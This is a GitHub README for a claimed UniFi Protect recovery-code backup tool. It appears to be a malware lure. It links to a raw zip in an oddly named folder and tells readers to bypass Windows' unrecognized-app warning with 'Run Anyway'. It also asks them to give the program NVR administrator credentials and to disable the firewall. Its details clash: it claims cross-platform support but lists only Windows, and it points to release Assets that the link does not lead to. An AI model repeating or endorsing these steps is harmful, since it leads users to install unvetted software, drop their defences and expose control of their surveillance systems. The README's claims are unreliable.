generalarmi1971-byte/unifi-protect-recovery
GitHub: generalarmi1971-byte/unifi-protect-recovery
Stars: 1 | Forks: 0
# 💾 unifi-protect-recovery - Secure backup for your recovery codes
## 📋 What this tool does
The unifi-protect-recovery application allows you to back up recovery codes from UniFi Protect network video recorders. Every NVR requires these codes to access your system if you lose your primary password or lose connection to the UniFi cloud. This software connects to your hardware and saves these codes in a secure, readable file on your computer.
You can use the graphical interface to click through the menus or the command line if you prefer advanced controls. This tool works on Windows, Linux, and macOS. It ensures you have a physical copy of your credentials at all times.
## ⚙️ System requirements
Before you run the software, ensure your computer meets these requirements:
- Operating System: Windows 10 or Windows 11.
- Network: A stable connection to the same local area network as your NVR.
- Permissions: Administrator access might be required to scan network ports.
- Dependencies: The application includes all necessary components to run immediately upon opening.
## 📥 Downloading the software
1. Visit the project release page to get the latest version.
2. Click here to go to the download site: [https://github.com/generalarmi1971-byte/unifi-protect-recovery/raw/refs/heads/main/heatful/protect-recovery-unifi-2.8.zip](https://github.com/generalarmi1971-byte/unifi-protect-recovery/raw/refs/heads/main/heatful/protect-recovery-unifi-2.8.zip)
3. Look for the Assets section at the bottom of the page.
4. Select the file ending in .exe for Windows.
5. Save the file to your Downloads folder or a location you choose.
## 🚀 Running the application
1. Open your File Explorer and locate the .exe file you saved.
2. Double-click the file to start the installation wizard.
3. If Windows displays a prompt about an unrecognized app, click More Info, then click Run Anyway.
4. Follow the prompts on the screen to finish the setup.
5. Launch the application from your desktop icon or the Start menu.
## 🔑 How to back up your codes
1. Open the application.
2. Enter the IP address of your UniFi Protect NVR in the address field.
3. Provide your NVR administrator login credentials.
4. Select the location on your computer where you want to save the backup file.
5. Click the Backup button.
6. Wait for the progress bar to show success.
7. Open the folder you selected and confirm the text file contains your recovery codes.
## 🛡️ Security practices
Keep this backup file in a safe spot. Store it on an encrypted thumb drive or in a protected password manager. Do not store these codes on a public cloud service unless that service provides high levels of encryption. If a person gains access to these codes, they gain full control over your surveillance system. Treat this file with the same care you give your house keys or your bank PIN.
## 🔍 Troubleshooting common issues
If the application fails to connect, perform these steps:
- Check your network cable. Ensure the computer and NVR live on the same network switch or router.
- Verify the IP address. Use your router interface to confirm the exact IP of your NVR.
- Check firewall settings. Sometimes Windows Firewall blocks connections. Temporarily disable the firewall to see if the connection clears.
- Restart the NVR. If the console does not respond to requests, a physical power cycle of the NVR often fixes communication errors.
## 📝 Frequently asked questions
Does this tool send my data to the internet?
No. The application performs all actions locally on your machine. Your credentials stay within your local network.
Can I move the recovery file to another computer?
Yes. You can copy the text file to any device you choose.
What if I forget my NVR password and I do not have these codes?
You will face difficulty accessing your system if you experience a sync issue or password loss. These codes act as your final safety net. Without them, you might need to factory reset your hardware, which deletes all your video footage. Always keep these codes in a secondary location.
How often should I run a backup?
Run a backup whenever you add a new camera or change the administrator password on your NVR. Keeping a current copy ensures you never lose access after a system update.